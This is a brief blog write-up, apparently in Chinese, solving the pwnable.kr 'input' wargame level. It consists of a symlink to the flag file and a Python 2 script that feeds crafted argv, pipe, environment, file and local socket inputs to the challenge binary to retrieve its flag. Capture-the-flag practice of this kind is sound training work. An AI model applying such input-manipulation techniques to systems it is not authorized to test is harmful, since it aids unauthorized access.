[Toddler's Bottle]-input

2018-12-03  本文已影响0人  2mpossible
ln -s /home/input2/flag flag

exp:

#coding: utf-8

import subprocess
import os
import socket
import time

payload = []
payload.append('/home/input2/input')

for i in range(64):
    payload.append('a')

payload.append('')
payload.append(' \n\r')
payload.append('4567')

for i in range(32):
    payload.append('a')


stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()

os.write(stdinw,'\x00\x0a\x00\xff')
os.write(stderrw,'\x00\x0a\x02\xff')
environ = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe' }

f = open('\n','wb')
f.write('\x00'*4)
f.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



print subprocess.Popen(payload,stdin = stdinr , stderr = stderrr , env = environ)

time.sleep(2)
s.connect(('127.0.0.1',4567))

s.send('\xde\xad\xbe\xef')

参考文章:

上一篇 下一篇

猜你喜欢

热点阅读